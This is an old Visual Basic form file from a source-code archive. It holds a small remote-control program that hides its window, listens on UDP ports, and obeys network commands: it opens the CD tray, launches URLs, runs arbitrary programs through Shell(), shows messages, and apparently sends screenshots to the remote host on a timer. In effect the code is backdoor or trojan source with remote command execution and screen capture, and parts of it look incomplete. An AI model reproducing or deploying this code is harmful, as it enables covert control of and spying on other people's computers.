home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / do-eve1r / form1.frm (.txt) < prev    next >
Encoding:
Visual Basic Form  |  1998-12-26  |  4.6 KB  |  155 lines

  1. VERSION 5.00
  2. Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
  3. Begin VB.Form Form1 
  4.    BackColor       =   &H00000000&
  5.    Caption         =   "Form1"
  6.    ClientHeight    =   4035
  7.    ClientLeft      =   165
  8.    ClientTop       =   915
  9.    ClientWidth     =   5115
  10.    Icon            =   "Form1.frx":0000
  11.    LinkTopic       =   "Form1"
  12.    ScaleHeight     =   4035
  13.    ScaleWidth      =   5115
  14.    StartUpPosition =   3  'Windows Default
  15.    Begin VB.Frame Frame1 
  16.       BackColor       =   &H00800000&
  17.       Caption         =   "Current People Connected"
  18.       ForeColor       =   &H00FF0000&
  19.       Height          =   3615
  20.       Left            =   2400
  21.       TabIndex        =   1
  22.       Top             =   120
  23.       Width           =   2535
  24.       Begin VB.ListBox List1 
  25.          BackColor       =   &H00808080&
  26.          Height          =   3180
  27.          Left            =   120
  28.          TabIndex        =   2
  29.          Top             =   240
  30.          Width           =   2295
  31.       End
  32.    End
  33.    Begin VB.PictureBox Picture1 
  34.       AutoSize        =   -1  'True
  35.       Height          =   1095
  36.       Left            =   4320
  37.       ScaleHeight     =   1035
  38.       ScaleWidth      =   1515
  39.       TabIndex        =   0
  40.       Top             =   4320
  41.       Visible         =   0   'False
  42.       Width           =   1575
  43.    End
  44.    Begin MSWinsockLib.Winsock Winsock1 
  45.       Left            =   3480
  46.       Top             =   3720
  47.       _ExtentX        =   741
  48.       _ExtentY        =   741
  49.    End
  50.    Begin MSWinsockLib.Winsock Winsock2 
  51.       Left            =   2160
  52.       Top             =   3840
  53.       _ExtentX        =   741
  54.       _ExtentY        =   741
  55.    End
  56.    Begin VB.Label Label1 
  57.       Caption         =   $"Form1.frx":08CA
  58.       Height          =   3495
  59.       Left            =   120
  60.       TabIndex        =   3
  61.       Top             =   240
  62.       Width           =   2175
  63.    End
  64.    Begin VB.Menu message 
  65.       Caption         =   "&Message"
  66.       Begin VB.Menu sendmessage 
  67.          Caption         =   "&Send a message to selected user"
  68.       End
  69.    End
  70. Attribute VB_Name = "Form1"
  71. Attribute VB_GlobalNameSpace = False
  72. Attribute VB_Creatable = False
  73. Attribute VB_PredeclaredId = True
  74. Attribute VB_Exposed = False
  75. Private Declare Function ShellExecute Lib "shell32.dll" Alias _
  76.     "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As _
  77.     String, ByVal lpFile As String, ByVal lpParameters As String, _
  78.     ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  79. Private Sub Form_Load()
  80.    With Winsock2
  81.      .Protocol = sckUDPProtocol
  82.      .LocalPort = 693
  83.      .Bind
  84.     End With
  85.     With Winsock1
  86.      .Protocol = sckUDPProtocol
  87.      .LocalPort = 692
  88.      .Bind
  89.     End With
  90.     m = Winsock1.LocalIP
  91.  Me.Visible = False
  92. End Sub
  93. Private Sub Timer1_Timer()
  94. GetWindowSnapShot 0, Picture1
  95. Winsock1.RemoteHost = Winsock1.RemoteHostIP
  96. Winsock1.SendData Picture1.Picture
  97. End Sub
  98. Private Sub List1_DblClick()
  99. Winsock1.Close
  100. List1.Clear
  101. End Sub
  102. Private Sub List1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
  103. If Button = 2 Then
  104. PopupMenu message
  105. End If
  106. End Sub
  107. Private Sub sendmessage_Click()
  108. If List1.Text <> "" Then
  109. ip = List1.Text
  110. Form2.Show
  111. End If
  112. End Sub
  113. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  114. Dim data As String
  115. Winsock1.RemoteHost = Winsock1.RemoteHostIP
  116. On Error GoTo err
  117.     Winsock1.GetData data
  118.     Select Case data
  119.     Case "Connect"
  120.         List1.AddItem Winsock1.RemoteHostIP
  121.         Winsock1.SendData "Remote computer connected to server"
  122.     Case "Open Cdrom"
  123.         CDOpen
  124.         Winsock1.SendData Winsock1.LocalIP & " Opened the cdrom"
  125.     Case "Close Cdrom"
  126.         CDClose
  127.         Winsock1.SendData Winsock1.LocalIP & " Closed the cdrom"
  128.     End Select
  129.   Select Case Left(data, 3)
  130.   Case "Web"
  131.     ms = Right(data, Len(data) - 4)
  132.     ret& = ShellExecute(Me.hWnd, "Open", ms, "", App.Path, 1)
  133.     Winsock1.SendData Winsock1.LocalIP & " Opened a website"
  134.   Case "Ope"
  135.     ms = Right(data, Len(data) - 4)
  136.     X = Shell(ms, vbNormalFocus)
  137.     Case "Mes"
  138.     ms = Right(data, Len(data) - 4)
  139.     MsgBox ms
  140.     Winsock1.SendData "Loop Recieved, and being displayed"
  141.     End Select
  142.     Exit Sub
  143. End Sub
  144. Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
  145. Select Case Left(data, 3)
  146. Case "Meg"
  147.     ms = Right(data, Len(data) - 4)
  148.     If Form3.Visible = False Then
  149.     Form3.Text1.Text = ""
  150.     Form3.Text1.SelText = ms
  151.     Form3.Show
  152.     End If
  153.     End Select
  154. End Sub
  155.